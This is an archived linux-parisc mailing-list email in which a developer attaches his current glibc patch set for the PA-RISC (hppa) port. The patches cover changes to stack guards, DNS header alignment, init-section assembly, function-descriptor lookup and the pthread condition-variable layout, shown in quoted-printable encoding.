          for <linux-parisc@vger.kernel.org>;
          Sat, 1 Apr 2017 15:20:35 -0400
Original-Received: from [192.168.2.10] (really [69.158.172.43]) by mtlspm01.bell.net
          with ESMTP
          id <20170401192035.EGAE9627.mtlspm01.bell.net@[192.168.2.10]>;
          Sat, 1 Apr 2017 15:20:35 -0400
In-Reply-To: <20170401183717.jpvilw2u4lgiceuv@raspberrypi-3.musicnaut.iki.fi>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=UIIyJGXy c=1 sm=0 tr=0 a=MCnG2Shyl1iix8vyRwff9w==:17 a=AzvcPWV-tVgA:10 a=FBHGMhGWAAAA:8 a=3Hr3txkAx65e5b7TFhkA:9 a=CjuIK1q_8ugA:10 a=lzDhS8hmAAAA:8 a=mDV3o1hIAAAA:8 a=7ZBqTmVuFsR_qotKEKgA:9 a=Io_ore50D0JT5azt:21 a=n3gu1lS1BfeYFnSG:21 a=TdN7U5H745d8w7Hl:21 a=Ld372NDzu18A:10 a=9gvnlMMaQFpL9xblJ6ne:22 a=rigQk1bY_8VmChEzA3fK:22 a=_FVE-zBwftR9WsbkzFJk:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27375
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27375>


--Apple-Mail-37--481356122
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

On 2017-04-01, at 2:37 PM, Aaro Koskinen wrote:

>> We still have a change to SHMLBA which affects non standard page =
sizes.
>=20
> FWIW, this is the one (local-shmlba.diff) that is needed to get =
localedef
> working on PA-RISC. I just tested with glibc 2.25 and Linux 4.10 with =
4 KB
> page size.

I compared the Debian 2.24 patch set for hppa versus my current patch =
set for trunk.  I found that
I was missing a couple of "local" patches including the one mentioned =
above.

Attached is my current patch set.  I'll do another build and check after =
I do a kernel update to add UTS
support.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-37--481356122
Content-Disposition: attachment;
	filename=glibc-20170401.d.txt
Content-Type: text/plain;
	name="glibc-20170401.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/elf/Makefile b/elf/Makefile
index cc4aeb25b6..883dd8f013 100644
--- a/elf/Makefile
+++ b/elf/Makefile
@@ -543,7 +543,7 @@ CFLAGS-ldconfig.c =3D $(SYSCONF-FLAGS) =
-D'LIBDIR=3D"$(libdir)"' \
 libof-ldconfig =3D ldconfig
 CFLAGS-dl-cache.c =3D $(SYSCONF-FLAGS)
 CFLAGS-cache.c =3D $(SYSCONF-FLAGS)
-CFLAGS-rtld.c =3D $(SYSCONF-FLAGS)
+CFLAGS-rtld.c +=3D $(SYSCONF-FLAGS)
=20
 cpp-srcs-left :=3D $(all-rtld-routines:=3D.os)
 lib :=3D rtld
diff --git a/nptl/allocatestack.c b/nptl/allocatestack.c
index e5c5f79a82..085ae07b32 100644
--- a/nptl/allocatestack.c
+++ b/nptl/allocatestack.c
@@ -647,9 +647,13 @@ allocate_stack (const struct pthread_attr *attr, =
struct pthread **pdp,
 			prot) !=3D 0)
 	    goto mprot_error;
 #elif _STACK_GROWS_UP
-	  if (mprotect ((char *) pd - pd->guardsize,
-			pd->guardsize - guardsize, prot) !=3D 0)
-	    goto mprot_error;
+	  char *new_guard =3D (char *) (((uintptr_t) pd - guardsize) & =
~pagesize_m1);
+	  char *old_guard =3D (char *) (((uintptr_t) pd - pd->guardsize) =
& ~pagesize_m1);
+	  /* The guard size difference might be > 0, but once rounded
+	     to the nearest page the size difference might be zero.  */
+	  if (old_guard - new_guard > 0)
+	    if (mprotect (old_guard, new_guard - old_guard, prot) !=3D =
0)
+	      goto mprot_error;
 #endif
=20
 	  pd->guardsize =3D guardsize;
diff --git a/resolv/res_mkquery.c b/resolv/res_mkquery.c
index d80b5318e5..99d7d96027 100644
--- a/resolv/res_mkquery.c
+++ b/resolv/res_mkquery.c
@@ -83,6 +83,15 @@
 # define RANDOM_BITS(Var) { uint64_t v64; HP_TIMING_NOW (v64); Var =3D =
v64; }
 #endif
=20
+/* The structure HEADER is normally aligned to a word boundary and its
+   fields are accessed using word loads and stores.  We need to access
+   this structure when it is aligned on a byte boundary.  This can =
cause
+   problems on machines with strict alignment.  So, we create a new
+   typedef to reduce its alignment to one.  This ensures the fields are
+   accessed with byte loads and stores.  */
+typedef HEADER __attribute__ ((__aligned__(1))) UHEADER;
+#define HEADER UHEADER
+
 /*
  * Form all types of queries.
  * Returns the size of the result or -1.
diff --git a/resolv/res_query.c b/resolv/res_query.c
index 07dc6f6583..9a1a8f90d1 100644
--- a/resolv/res_query.c
+++ b/resolv/res_query.c
@@ -78,6 +78,14 @@
 #include <stdlib.h>
 #include <string.h>
=20
+/* The structure HEADER is normally aligned to a word boundary and its
+   fields are accessed using word loads and stores.  We need to access=20=

+   this structure when it is aligned on a byte boundary.  This can =
cause
+   problems on machines with strict alignment.  So, we create a new
+   typedef to reduce its alignment to one.  This ensures the fields are
+   accessed with byte loads and stores.  */
+typedef HEADER __attribute__ ((__aligned__(1))) UHEADER;
+
 /* Options.  Leave them on. */
 /* #undef DEBUG */
=20
@@ -117,8 +125,8 @@ __libc_res_nquery(res_state statp,
 		  int *resplen2,
 		  int *answerp2_malloced)
 {
-	HEADER *hp =3D (HEADER *) answer;
-	HEADER *hp2;
+	UHEADER *hp =3D (UHEADER *) answer;
+	UHEADER *hp2;
 	int n, use_malloc =3D 0;
 	u_int oflags =3D statp->_flags;
=20
@@ -235,7 +243,7 @@ __libc_res_nquery(res_state statp,
=20
 	if (answerp !=3D NULL)
 	  /* __libc_res_nsend might have reallocated the buffer.  */
-	  hp =3D (HEADER *) *answerp;
+	  hp =3D (UHEADER *) *answerp;
=20
 	/* We simplify the following tests by assigning HP to HP2 or
 	   vice versa.  It is easy to verify that this is the same as
@@ -246,7 +254,7 @@ __libc_res_nquery(res_state statp,
 	  }
 	else
 	  {
-	    hp2 =3D (HEADER *) *answerp2;
+	    hp2 =3D (UHEADER *) *answerp2;
 	    if (n < (int) sizeof (HEADER))
 	      {
 	        hp =3D hp2;
@@ -336,7 +344,7 @@ __libc_res_nsearch(res_state statp,
 		   int *answerp2_malloced)
 {
 	const char *cp, * const *domain;
-	HEADER *hp =3D (HEADER *) answer;
+	UHEADER *hp =3D (UHEADER *) answer;
 	char tmp[NS_MAXDNAME];
 	u_int dots;
 	int trailing_dot, ret, saved_herrno;
diff --git a/resolv/res_send.c b/resolv/res_send.c
index 28c4cabfcb..19f9a86a2b 100644
--- a/resolv/res_send.c
+++ b/resolv/res_send.c
@@ -110,6 +110,15 @@
 #include <kernel-features.h>
 #include <libc-diag.h>
=20
+/* The structure HEADER is normally aligned to a word boundary and its
+   fields are accessed using word loads and stores.  We need to access=20=

+   this structure when it is aligned on a byte boundary.  This can =
cause
+   problems on machines with strict alignment.  So, we create a new
+   typedef to reduce its alignment to one.  This ensures the fields are
+   accessed with byte loads and stores.  */
+typedef HEADER __attribute__ ((__aligned__(1))) UHEADER;
+#define HEADER UHEADER
+
 #if PACKETSZ > 65536
 #define MAXPACKET       PACKETSZ
 #else
diff --git a/sysdeps/hppa/Makefile b/sysdeps/hppa/Makefile
index c0edb99917..64af43b5ff 100644
--- a/sysdeps/hppa/Makefile
+++ b/sysdeps/hppa/Makefile
@@ -23,6 +23,7 @@ LDFLAGS-c_pic.os +=3D -Wl,--unique=3D.text*
=20
 ifeq ($(subdir),elf)
 CFLAGS-rtld.c +=3D -mdisable-fpregs
+CFLAGS-dl-reloc.c +=3D --param inline-unit-growth=3D100
 sysdep-dl-routines +=3D dl-symaddr dl-fptr
 # dl-fptr.c needs a complete rewrite to fix ISO C aliasing violations.
 CFLAGS-dl-fptr.c =3D -Wno-error
diff --git a/sysdeps/hppa/__longjmp.c b/sysdeps/hppa/__longjmp.c
index a7eefc7ad6..438db01473 100644
--- a/sysdeps/hppa/__longjmp.c
+++ b/sysdeps/hppa/__longjmp.c
@@ -24,15 +24,16 @@
 void
 __longjmp (__jmp_buf env, int val)
 {
+#ifdef CHECK_SP
+  CHECK_SP (env[0].__jmp_buf.__sp);
+#endif
+
+  {
   /* We must use one of the non-callee saves registers
      for env.  */
   register unsigned long r26 asm ("r26") =3D (unsigned long)&env[0];
   register unsigned long r25 asm ("r25") =3D (unsigned long)(val =3D=3D =
0 ? 1 : val);
=20
-#ifdef CHECK_SP
-  CHECK_SP (env[0].__jmp_buf.__sp);
-#endif
-
   asm volatile(
 	/* Set return value.  */
 	"copy	%0, %%r28\n\t"
@@ -79,6 +80,8 @@ __longjmp (__jmp_buf env, int val)
 	: /* No outputs.  */
 	: "r" (r25), "r" (r26)
 	: /* No point in clobbers.  */ );
+  }
+
   /* Avoid `volatile function does return' warnings.  */
   for (;;);
 }
diff --git a/sysdeps/hppa/crti.S b/sysdeps/hppa/crti.S
index 7c1470ddf8..0f9bb7b013 100644
--- a/sysdeps/hppa/crti.S
+++ b/sysdeps/hppa/crti.S
@@ -49,6 +49,95 @@
 # define PREINIT_FUNCTION_WEAK 1
 #endif
=20
+#if PREINIT_FUNCTION_WEAK
+	weak_extern (PREINIT_FUNCTION)
+#else
+	.hidden PREINIT_FUNCTION
+#endif
+
+
+/* If we have working .init_array support, we want to keep the .init
+   section empty (apart from the mandatory prologue/epilogue.  This
+   ensures that the default unwind conventions (return-pointer in b0,
+   frame state in ar.pfs, etc.)  will do the Right Thing.  To ensure
+   an empty .init section, we register gmon_initializer() via the
+   .init_array.
+
+    --davidm 02/10/29 */
+
+#if PREINIT_FUNCTION_WEAK
+/* This blob of assembly code is one simple C function:
+
+static void
+__attribute__ ((used))
+gmon_initializer (void)
+{
+  extern void weak_function __gmon_start__ (void);
+
+  if (__gmon_start__)
+    (*__gmon_start__)();
+}
+
+In a final executable, PLABEL32 relocations for function pointers are
+resolved at link time.  Typically, binutils/ld resolves __gmon_start__
+using an external shared library.  __gmon_start__ is always called if
+it is found at link time.  If __gmon_start__ is not found at runtime
+due to a library update, then the function pointer will point at a null
+function descriptor and calling it will cause a segmentation fault.
+So, we call __canonicalize_funcptr_for_compare to obtain the =
canonicalized
+address of __gmon_start__ and skip calling __gmon_start__ if it is =
zero.
+
+ */
+	.type __canonicalize_funcptr_for_compare,@function
+	.type $$dyncall,@function
+
+	.section .data.rel.ro,"aw",@progbits
+	.align 4
+.LC0:
+	.type __gmon_start__,@function
+	.word P%__gmon_start__
+
+	.text
+	.align 4
+	.type gmon_initializer,@function
+gmon_initializer:
+	.PROC
+	.CALLINFO FRAME=3D64,CALLS,SAVE_RP,ENTRY_GR=3D4
+	.ENTRY
+	stw %r2,-20(%r30)
+	stwm %r4,64(%r30)
+	stw %r3,-60(%r30)
+	addil LT'.LC0,%r19
+	ldw RT'.LC0(%r1),%r28
+	ldw 0(%r28),%r3
+	comib,=3D 0,%r3,1f
+	copy %r19,%r4
+	stw %r19,-32(%r30)
+	bl __canonicalize_funcptr_for_compare,%r2
+	copy %r3,%r26
+	comib,=3D 0,%r28,1f
+	copy %r4,%r19
+	copy %r3,%r22
+	.CALL ARGW0=3DGR
+	bl $$dyncall,%r31
+	copy %r31,%r2
+1:
+	ldw -84(%r30),%r2
+	ldw -60(%r30),%r3
+	bv %r0(%r2)
+	ldwm -64(%r30),%r4
+	.EXIT
+	.PROCEND
+	.size gmon_initializer, .-gmon_initializer
+
+# undef PREINIT_FUNCTION
+# define PREINIT_FUNCTION gmon_initializer
+#endif
+
+	.section .init_array, "aw"
+	.word P% PREINIT_FUNCTION
+
+
 /* _init prologue.  */
 	.section .init, "ax", %progbits
 	.align 4
@@ -58,14 +147,6 @@ _init:
 	stw	%rp,-20(%sp)
 	stwm	%r4,64(%sp)
 	stw	%r19,-32(%sp)
-#if PREINIT_FUNCTION_WEAK
-	bl	PREINIT_FUNCTION,%rp
-	copy	%r19,%r4	/* delay slot */
-#else
-	bl	PREINIT_FUNCTION,%rp
-	copy	%r19,%r4	/* delay slot */
-#endif
-	copy	%r4,%r19
=20
 /* _fini prologue.  */
         .section .fini,"ax",%progbits
diff --git a/sysdeps/hppa/crtn.S b/sysdeps/hppa/crtn.S
index 42f310d217..49666b81f9 100644
--- a/sysdeps/hppa/crtn.S
+++ b/sysdeps/hppa/crtn.S
@@ -38,27 +38,6 @@
 /* crtn.S puts function epilogues in the .init and .fini sections
    corresponding to the prologues in crti.S. */
=20
-/* Note that we cannot have a weak undefined __gmon_start__, because
-   that would require this to be PIC, and the linker is currently not
-   able to generate a proper procedure descriptor for _init.  Sad but
-   true.  Anyway, HPPA is one of those horrible architectures where
-   making the comparison and indirect call is quite expensive (see the
-   comment in sysdeps/generic/initfini.c). */
-        .text
-        .align 4
-        .weak   __gmon_start__
-        .type    __gmon_start__,@function
-__gmon_start__:
-	.proc
-	.callinfo
-	.entry
-        bv,n %r0(%r2)
-	.exit
-	.procend
-
-/* Here is the tail end of _init.  We put __gmon_start before this so
-   that the assembler creates the .PARISC.unwind section for us, ie.
-   with the right attributes.  */
 	.section .init, "ax", @progbits
 	ldw	-84(%sp),%rp
 	copy	%r4,%r19
diff --git a/sysdeps/hppa/dl-fptr.c b/sysdeps/hppa/dl-fptr.c
index 83bdb91202..4c0a4b0bd5 100644
--- a/sysdeps/hppa/dl-fptr.c
+++ b/sysdeps/hppa/dl-fptr.c
@@ -28,6 +28,7 @@
 #include <dl-fptr.h>
 #include <dl-unmap-segments.h>
 #include <atomic.h>
+#include <libc-internal.h>
=20
 #ifndef ELF_MACHINE_BOOT_FPTR_TABLE_LEN
 /* ELF_MACHINE_BOOT_FPTR_TABLE_LEN should be greater than the number of
@@ -181,24 +182,29 @@ make_fdesc (ElfW(Addr) ip, ElfW(Addr) gp)
 static inline ElfW(Addr) * __attribute__ ((always_inline))
 make_fptr_table (struct link_map *map)
 {
-  const ElfW(Sym) *symtab
-    =3D (const void *) D_PTR (map, l_info[DT_SYMTAB]);
+  const ElfW(Sym) *symtab =3D (const void *) D_PTR (map, =
l_info[DT_SYMTAB]);
   const char *strtab =3D (const void *) D_PTR (map, l_info[DT_STRTAB]);
   ElfW(Addr) *fptr_table;
   size_t size;
   size_t len;
+  const ElfW(Sym) *symtabend;
=20
-  /* XXX Apparently the only way to find out the size of the dynamic
-     symbol section is to assume that the string table follows right
-     afterwards...  */
-  len =3D ((strtab - (char *) symtab)
+  /* Determine the end of the dynamic symbol table using the hash.  */
+  if (map->l_info[DT_HASH] !=3D NULL)
+    symtabend =3D (symtab + ((Elf_Symndx *) D_PTR (map, =
l_info[DT_HASH]))[1]);
+  else
+  /* There is no direct way to determine the number of symbols in the
+     dynamic symbol table and no hash table is present.  The ELF
+     binary is ill-formed but what shall we do?  Use the beginning of
+     the string table which generally follows the symbol table.  */
+    symtabend =3D (const ElfW(Sym) *) strtab;
+
+  len =3D (((char *) symtabend - (char *) symtab)
 	 / map->l_info[DT_SYMENT]->d_un.d_val);
-  size =3D ((len * sizeof (fptr_table[0]) + GLRO(dl_pagesize) - 1)
-	  & -GLRO(dl_pagesize));
-  /* XXX We don't support here in the moment systems without MAP_ANON.
-     There probably are none for IA-64.  In case this is proven wrong
-     we will have to open /dev/null here and use the file descriptor
-     instead of the hard-coded -1.  */
+  size =3D ALIGN_UP (len * sizeof (fptr_table[0]), GLRO(dl_pagesize));
+
+  /* We don't support systems without MAP_ANON.  We avoid using malloc
+     because this might get called before malloc is setup.  */
   fptr_table =3D __mmap (NULL, size,
 		       PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE,
 		       -1, 0);
@@ -331,22 +337,45 @@ elf_machine_resolve (void)
   return addr;
 }
=20
+static inline int
+_dl_read_access_allowed (unsigned int *addr)
+{
+  int result;
+
+  asm ("proberi	(%1),3,%0" : "=3Dr" (result) : "r" (addr) : );
+
+  return result;
+}
+
 ElfW(Addr)
 _dl_lookup_address (const void *address)
 {
   ElfW(Addr) addr =3D (ElfW(Addr)) address;
   unsigned int *desc, *gptr;
=20
-  /* Check for special cases.  */
-  if ((int) addr =3D=3D -1
-      || (unsigned int) addr < 4096
-      || !((unsigned int) addr & 2))
+  /* Return ADDR if the least-significant two bits of ADDR are not =
consistent
+     with ADDR being a linker defined function pointer.  The normal =
value for
+     a code address in a backtrace is 3.  */
+  if (((unsigned int) addr & 3) !=3D 2)
+    return addr;
+
+  /* Handle special case where ADDR points to page 0.  */
+  if ((unsigned int) addr < 4096)
     return addr;
=20
   /* Clear least-significant two bits from descriptor address.  */
   desc =3D (unsigned int *) ((unsigned int) addr & ~3);
+  if (!_dl_read_access_allowed (desc))
+    return addr;
=20
-  /* Check if descriptor requires resolution.  The following trampoline =
is
+  /* Load first word of candidate descriptor.  It should be a pointer
+     with word alignment and point to memory that can be read.  */
+  gptr =3D (unsigned int *) desc[0];
+  if (((unsigned int) gptr & 3) !=3D 0
+      || !_dl_read_access_allowed (gptr))
+    return addr;
+
+  /* See if descriptor requires resolution.  The following trampoline =
is
      used in each global offset table for function resolution:
=20
 		ldw 0(r20),r22
@@ -358,7 +387,6 @@ _dl_lookup_address (const void *address)
 		.word "_dl_runtime_resolve ltp"
      got:	.word _DYNAMIC
 		.word "struct link map address" */
-  gptr =3D (unsigned int *) desc[0];
   if (gptr[0] =3D=3D 0xea9f1fdd			/* b,l .-12,r20  =
   */
       && gptr[1] =3D=3D 0xd6801c1e			/* depwi =
0,31,2,r20 */
       && (ElfW(Addr)) gptr[2] =3D=3D elf_machine_resolve ())
diff --git a/sysdeps/hppa/dl-trampoline.S b/sysdeps/hppa/dl-trampoline.S
index 856339bffe..f1294a931f 100644
--- a/sysdeps/hppa/dl-trampoline.S
+++ b/sysdeps/hppa/dl-trampoline.S
@@ -82,6 +82,11 @@ _dl_runtime_resolve:
 	bl	_dl_fixup,%rp
 	copy	%r21,%r19		/* set fixup func ltp */
=20
+	/* Sometimes a final executable may attempt to call an undefined
+	   weak function (e.g., __gmon_start__).  Return if the function
+	   was not resolved by _dl_fixup */
+	comib,=3D	0,%r28,1f
+
 	/* Load up the returned func descriptor */
 	copy	%r28, %r22
 	copy	%r29, %r19
@@ -107,6 +112,13 @@ _dl_runtime_resolve:
 	/* Jump to new function, but return to previous function */
 	bv	%r0(%r22)
 	ldw	-20(%sp),%rp
+
+1:
+	/* Return to previous function */
+	ldw	-148(%sp),%rp
+	bv	%r0(%rp)
+	ldo	-128(%sp),%sp
+
         .EXIT
         .PROCEND
 	cfi_endproc
diff --git a/sysdeps/hppa/nptl/bits/pthreadtypes.h =
b/sysdeps/hppa/nptl/bits/pthreadtypes.h
index e37111a2f3..4f742bfaa6 100644
--- a/sysdeps/hppa/nptl/bits/pthreadtypes.h
+++ b/sysdeps/hppa/nptl/bits/pthreadtypes.h
@@ -103,39 +103,32 @@ typedef union
   long int __align;
 } pthread_mutexattr_t;
=20
-
-/* Data structure for conditional variable handling.  The structure of
-   the attribute type is not exposed on purpose. However, this =
structure
-   is exposed via PTHREAD_COND_INITIALIZER, and because of this, the
-   Linuxthreads version sets the first four ints to one. In the NPTL
-   version we must check, in every function using pthread_cond_t,
-   for the static Linuxthreads initializer and clear the appropriate
-   words. */
+/* Data structure for conditional variable handling. */
 typedef union
 {
   struct
   {
-    /* In the old Linuxthreads pthread_cond_t, this is the
-       start of the 4-word lock structure, the next four words
-       are set all to 1 by the Linuxthreads
-       PTHREAD_COND_INITIALIZER.  */
-    int __lock __attribute__ ((__aligned__(16)));
-    /* Tracks the initialization of this structure:
-       0  initialized with NPTL PTHREAD_COND_INITIALIZER.
-       1  initialized with Linuxthreads PTHREAD_COND_INITIALIZER.
-       2  initialization in progress.  */
-    int __initializer;
-    unsigned int __futex;
-    void *__mutex;
-    /* In the old Linuxthreads this would have been the start
-       of the pthread_fastlock status word.  */
-    __extension__ unsigned long long int __total_seq;
-    __extension__ unsigned long long int __wakeup_seq;
-    __extension__ unsigned long long int __woken_seq;
-    unsigned int __nwaiters;
-    unsigned int __broadcast_seq;
-    /* The NPTL pthread_cond_t is exactly the same size as
-       the Linuxthreads version, there are no words to spare.  */
+    __extension__ union
+    {
+      __extension__ unsigned long long int __wseq;
+      struct {
+	unsigned int __low;
+	unsigned int __high;
+      } __wseq32;
+    } __attribute__ ((__aligned__(16)));
+    __extension__ union
+    {
+      __extension__ unsigned long long int __g1_start;
+      struct {
+	unsigned int __low;
+        unsigned int __high;
+      } __g1_start32;
+    };
+    unsigned int __g_refs[2];
+    unsigned int __g_size[2];
+    unsigned int __g1_orig_size;
+    unsigned int __wrefs;
+    unsigned int __g_signals[2];
   } __data;
   char __size[__SIZEOF_PTHREAD_COND_T];
   __extension__ long long int __align;
diff --git a/sysdeps/unix/sysv/linux/hppa/bits/shm.h =
b/sysdeps/unix/sysv/linux/hppa/bits/shm.h
index 794f0ab2da..52632d0dea 100644
--- a/sysdeps/unix/sysv/linux/hppa/bits/shm.h
+++ b/sysdeps/unix/sysv/linux/hppa/bits/shm.h
@@ -37,7 +37,7 @@
 #define SHM_UNLOCK	12		/* unlock segment (root only) */
=20
 /* Segment low boundary address multiple.  */
-#define SHMLBA 0x00400000		/* address needs to be 4 Mb =
aligned */
+#define SHMLBA		(__getpagesize ())
=20
 /* Type to count number of attaches.  */
 typedef unsigned long int shmatt_t;
diff --git a/sysdeps/unix/sysv/linux/hppa/clone.S =
b/sysdeps/unix/sysv/linux/hppa/clone.S
index d36b302199..46ee6972d3 100644
--- a/sysdeps/unix/sysv/linux/hppa/clone.S
+++ b/sysdeps/unix/sysv/linux/hppa/clone.S
@@ -64,9 +64,12 @@
 ENTRY(__clone)
 	/* Prologue */
 	stwm	%r4, 64(%sp)
+	.cfi_def_cfa_offset -64
+	.cfi_offset 4, 0
 	stw	%sp, -4(%sp)
 #ifdef PIC
 	stw	%r19, -32(%sp)
+	.cfi_offset 19, 32
 #endif
=20
 	/* Sanity check arguments.  */
diff --git a/sysdeps/unix/sysv/linux/hppa/getcontext.S =
b/sysdeps/unix/sysv/linux/hppa/getcontext.S
index 6f52f2149d..68a74a0b7e 100644
--- a/sysdeps/unix/sysv/linux/hppa/getcontext.S
+++ b/sysdeps/unix/sysv/linux/hppa/getcontext.S
@@ -130,8 +130,11 @@ ENTRY(__getcontext)
=20
 	/* Prologue */
 	stwm	%r4, 64(%sp)
+	.cfi_def_cfa_offset -64
+	.cfi_offset 4, 0
 #ifdef PIC
 	stw	%r19, -32(%sp)
+	.cfi_offset 19, 32
 #endif
=20
 	/* Set up the trampoline registers.
@@ -156,7 +159,7 @@ ENTRY(__getcontext)
 	/* Epilogue */
 	ldw	-84(%sp), %r2
 #ifdef PIC
-	ldw	-96(%sp), %r19
+	ldw	-32(%sp), %r19
 #endif
 	bv	%r0(%r2)
 	ldwm	-64(%sp), %r4
diff --git a/sysdeps/unix/sysv/linux/hppa/internaltypes.h =
b/sysdeps/unix/sysv/linux/hppa/internaltypes.h
deleted file mode 100644
index d6496579da..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/internaltypes.h
+++ /dev/null
@@ -1,84 +0,0 @@
-#include_next <internaltypes.h>
-#ifndef _INTERNAL_TYPES_H_HPPA_
-#define _INTERNAL_TYPES_H_HPPA_ 1
-#include <atomic.h>
-
-/* In GLIBC 2.10 HPPA switched from Linuxthreads to NPTL, and in order
-to maintain ABI compatibility with pthread_cond_t, some care had to be
-taken.
-
-The NPTL pthread_cond_t grew in size. When HPPA switched to NPTL, we
-dropped the use of ldcw, and switched to the kernel helper routine for
-compare-and-swap.  This allowed HPPA to use the 4-word 16-byte aligned
-lock words, and alignment words to store the additional pthread_cond_t
-data. Once organized properly the new NPTL pthread_cond_t was 1 word
-smaller than the Linuxthreads version.
-
-However, we were faced with the case that users may have initialized =
the
-pthread_cond_t with PTHREAD_COND_INITIALIZER. In this case, the first
-four words were set to one, and must be cleared before any NPTL code
-used these words.
-
-We didn't want to use LDCW, because it continues to be a source of bugs
-when applications memset pthread_cond_t to all zeroes by accident. This
-works on all other architectures where lock words are unlocked at zero.
-Remember that because of the semantics of LDCW, a locked word is set to
-zero, and an unlocked word is set to 1.
-
-Instead we used atomic_compare_and_exchange_val_acq, but we couldn't =
use
-this on any of the pthread_cond_t words, otherwise it might interfere
-with the current operation of the structure. To solve this problem we
-used the left over word.
-
-If the stucture was initialized by a legacy Linuxthread
-PTHREAD_COND_INITIALIZER it contained a 1, and this indicates that the
-structure requires zeroing for NPTL. The first thread to come upon a
-pthread_cond_t with a 1 in the __initializer field, will
-compare-and-swap the value, placing a 2 there which will cause all =
other
-threads using the same pthread_cond_t to wait for the completion of the
-initialization. Lastly, we use a store (with memory barrier) to change
-__initializer from 2 to 0. Note that the store is strongly ordered, but
-we use the PA 1.1 compatible form which is ",ma" with zero offset.
-
-In the future, when the application is recompiled with NPTL
-PTHREAD_COND_INITIALIZER it will be a quick compare-and-swap, which
-fails because __initializer is zero, and the structure will be used as
-is correctly.  */
-
-#define cond_compat_clear(var) \
-({									=
\
-  int tmp =3D 0;								=
\
-  var->__data.__wseq =3D 0;						=
\
-  var->__data.__signals_sent =3D 0;					=
\
-  var->__data.__confirmed =3D 0;						=
\
-  var->__data.__generation =3D 0;						=
\
-  var->__data.__mutex =3D NULL;						=
\
-  var->__data.__quiescence_waiters =3D 0;					=
\
-  var->__data.__clockid =3D 0;						=
\
-  /* Clear __initializer last, to indicate initialization is done.  */	=
\
-  /* This synchronizes-with the acquire load below.  */			=
\
-  atomic_store_release (&var->__data.__initializer, 0);			=
\
-})
-
-#define cond_compat_check_and_clear(var) \
-({								\
-  int v;							\
-  int *value =3D &var->__data.__initializer;			\
-  /* This synchronizes-with the release store above.  */	\
-  while ((v =3D atomic_load_acquire (value)) !=3D 0)		\
-    {								\
-      if (v =3D=3D 1						\
-	  /* Relaxed MO is fine; it only matters who's first.  */        =
\
-	  && atomic_compare_exchange_acquire_weak_relaxed (value, 1, 2)) =
\
-	{							\
-	  /* We're first; initialize structure.  */		\
-	  cond_compat_clear (var);				\
-	  break;						\
-	}							\
-      else							\
-	/* Yield before we re-check initialization status.  */	\
-	sched_yield ();						\
-    }								\
-})
-
-#endif
diff --git a/sysdeps/unix/sysv/linux/hppa/pt-vfork.S =
b/sysdeps/unix/sysv/linux/hppa/pt-vfork.S
index fc4573c86b..8b7d7df2fe 100644
--- a/sysdeps/unix/sysv/linux/hppa/pt-vfork.S
+++ b/sysdeps/unix/sysv/linux/hppa/pt-vfork.S
@@ -58,7 +58,10 @@ ENTRY(__vfork)
 	   that there is no child now, so it's safe to create
 	   a frame.  */
 	stw	%rp, -20(%sp)
+	.cfi_offset 2, -20
 	stwm	%r3, 64(%sp)
+	.cfi_def_cfa_offset -64
+	.cfi_offset 3, 0
 	stw	%sp, -4(%sp)
=20
 	sub	%r0,%ret0,%r3
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread.h =
b/sysdeps/unix/sysv/linux/hppa/pthread.h
index ac617201d2..d3b960edd4 100644
--- a/sysdeps/unix/sysv/linux/hppa/pthread.h
+++ b/sysdeps/unix/sysv/linux/hppa/pthread.h
@@ -185,7 +185,7 @@ enum
=20
=20
 /* Conditional variable handling.  */
-#define PTHREAD_COND_INITIALIZER { { 0, 0, 0, 0, 0, (void *) 0, 0, 0 } =
}
+#define PTHREAD_COND_INITIALIZER { { {0}, {0}, {0, 0}, {0, 0}, 0, 0, =
{0, 0} } }
=20
=20
 /* Cleanup buffers */
@@ -1165,12 +1165,6 @@ __END_DECLS
 #ifndef _PTHREAD_H_HPPA_
 #define _PTHREAD_H_HPPA_ 1
=20
-/* The pthread_cond_t initializer is compatible only with NPTL. We do =
not
-   want to be forwards compatible, we eventually want to drop the code
-   that has to clear the old LT initializer.  */
-#undef PTHREAD_COND_INITIALIZER
-#define PTHREAD_COND_INITIALIZER { { 0, 0, 0, (void *) 0, 0, 0, 0, 0, 0 =
} }
-
 /* The pthread_mutex_t and pthread_rwlock_t initializers are compatible
    only with NPTL. NPTL assumes pthread_rwlock_t is all zero.  */
 #undef PTHREAD_MUTEX_INITIALIZER
diff --git a/sysdeps/unix/sysv/linux/hppa/pthread_cond_broadcast.c =
b/sysdeps/unix/sysv/linux/hppa/pthread_cond_broadcast.c
deleted file mode 100644
index a6f9f5d433..0000000000
--- a/sysdeps/unix/sysv/linux/hppa/pthread_cond_broadcast.c
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Copyright (C) 2009-2017 Free Software Foundation, Inc.
-   This file is part of the GNU C Library.
-   Contributed by Carlos O'Donell <carlos@codesourcery.com>, 2009.
-
-   The GNU C Library is free software; you can redistribute it and/or
-   modify it under the terms of the GNU Lesser General Public
-   License as published by the Free Software Foundation; either
-   version 2.1 of the License, or (at your option) any later version.
-
-   The GNU C Library is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-   Lesser General Public License for more details.
-
-   You should have received a copy of the GNU Lesser General Public
-   License along with the GNU C Library.  If not, see
-   <http://www.gnu.org/licenses/>.  */
-
-#ifndef INCLUDED_SELF
-# define INCLUDED_SELF
-# include <pthread_cond_broadcast.c>
-#else
-# include <pthread.h>
-# include <pthreadP.h>
-# include <internaltypes.h>
-# include <shlib-compat.h>
-int
-__pthread_cond_broadcast (pthread_cond_t *cond)
-{
-  cond_compat_check_and_clear (cond);
-  return __pthread_cond_broadcast_internal (cond);
-}
-versioned_symbol (libpthread, __pthread_cond_broadcast, =
pthread_cond_broadcast,
-                  GLIBC_2_3_2);
-# undef versioned_symbol
-# define versioned_symbol(lib, local, symbol, version)
-# undef __pthread_cond_broadcast
